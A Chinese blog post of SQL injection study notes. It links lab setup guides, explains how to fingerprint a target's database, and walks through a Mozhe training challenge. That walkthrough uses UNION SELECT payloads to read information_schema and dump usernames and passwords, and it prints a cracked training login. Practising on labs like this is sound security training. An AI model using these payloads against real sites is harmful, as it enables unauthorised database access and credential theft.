忍者测试系统的安装:
忍者安全渗透系统(NINJITSU OS V3)的安装详细过程,亲测新旧vm版本都可安装,附带下载来源_黑色地带(崛起)的博客-CSDN博客
靶场环境搭建:
①phpstudy以及pikachu-master环境搭建
新版phpstudy搭建pikachu靶场环境详细过程_黑色地带(崛起)的博客-CSDN博客
②sqli-labs-master靶场环境搭建
详细新版phpstudy安装以及sqli-labs-master靶场环境搭建过程附带文件链接_黑色地带(崛起)的博客-CSDN博客
③hackbar的安装
安装hackbar,火狐2分钟解决(优选),及如何打开使用_黑色地带(崛起)的博客-CSDN博客
可能出现的问题:
①pikachu可能出现的问题:
“数据库连接失败,请检查config.inc.php配置文件”常见2种可能错误_黑色地带(崛起)的博客-CSDN博客
②sqli-labs-master可能出现的问题:
sqli-labs出现“Fatal error:Uncaught Error”的解决办法_黑色地带(崛起)的博客-CSDN博客
sqli-labs出现“Unable to connect to the database: security”问题(phpstudy搭建)_黑色地带(崛起)的博客-CSDN博客
信息收集
测试前的准备:
1.网站路径
burpsuite或者sqlmap进行网站爬取
直接使用kali Linux等渗透系统中sqlmap,简单的使用入门_黑色地带(崛起)的博客-CSDN博客
2.操作系统:
windows和linux对大小写敏感不同,大小写都不报错的是windows
3.数据库类型判断:
方法一:
在开发者工具里面分析数据包的头部文件
发现是Nginx
方法二:
根据前端编写判断
asp: SQL Server,Access
.net: SQL Server
php: MySQL,PostgreSQL
java: Oracle,MySQL
方法三:
扫描端口判断
Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306
Pointbase:默认是9092
DB2:默认是5000
没扫出来
方法四:
根据各种数据库特有函数进行判读
/* 是MySQL数据库的注释符--
是Oracle和SQL Server支持的注释符;
是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库#
是MySQL中的注释符,返回错误则说明可能不是MySQL,也支持-- 和/**/
方法五:
存在注入点的条件下,根据数据库特有数据表判断
①MySQL(version>5.0)
插入 and (select count(*) from information_schema.TABLES)>0 and 1=1
②Oracle
插入 and (select count(*) from sys.user_tables)>0 and 1=1
③SQL Server
插入 and (select count(*) from sysobjects)>0 and 1=1
4.数据库版本:
查看数据头来查看数据库及其版本(有的可能屏蔽了看不见)
判断是否有注入点:
方法一:
id是最普遍的,基本上所有表都会有这个字段
在后面加上?id=1
如果输出id=1的相关信息,则说明变量没有过滤,或者过滤不严谨
没做过滤,或过滤不严谨(下图未过滤)
方法二:
加上单引号'
如果出现错误提示,则可能存在注入漏洞(可能)
方法三:
用数据库逻辑运算来判断(有传入参数的时候用)
and 1=1 页面访问正常 得出 真且真为真
and 1=2页面访问错误 得出 真且假为假
所以说明我们的语句写进去了,可能存在注入点
(下图未做任何不法行为)
and 1=1 和id1=2 都能正常显示页面,说明没有被写入
(还有其他方法,一步一步总结)
墨者题库:
第一步:
判断是否有注入点
(注意:?id=1要换到第二行)
and1=1 正常显示
and 1=2 无法正常显示
所以存在注入点
第二步:
猜测字段数
①order by (number)
②union select 1,2……
方法一:
后面的数字一个一个猜
order by 5 无显示
order by 4 (正常显示出来了,说明有4个)
方法二:
(重申:这个?id=1 要拿到第二行)
union select 1,2,3,4,5
union select 1,2,3,4
第三步:
报错猜解可显示字段
(重申:改为 ?id=-1 且放到第二行)
?id=-1 select 1,2,3,4 (这个-1可以随便写成任意不可能的数)
得到可显示字段为2个,为2,3
第四步:
获取数据库相关信息
数据库版本:version()
数据库名字:database()
数据库用户:user()
?id=-1 union select 1,version(),database(),4#
(#或--+把后面的语句注释了)
第五步:
获取数据库下信息
借助information_schema
information_schema.tables 所有表名
information_schema.columns 所有的列名
table_name #表名
column_name #列名
table_schema #数据库名
查询数据库所下的表名
?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'#
查询StormGroup_member表下列名
?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
?id=-1 union select 1,name,password,4 from StormGroup_member where status=1#
第六步:
解密
开启靶机的时候,就提示掌握cmd5加解密(有一个信息的提醒)
mozhe
552761
第七步:
登录得到key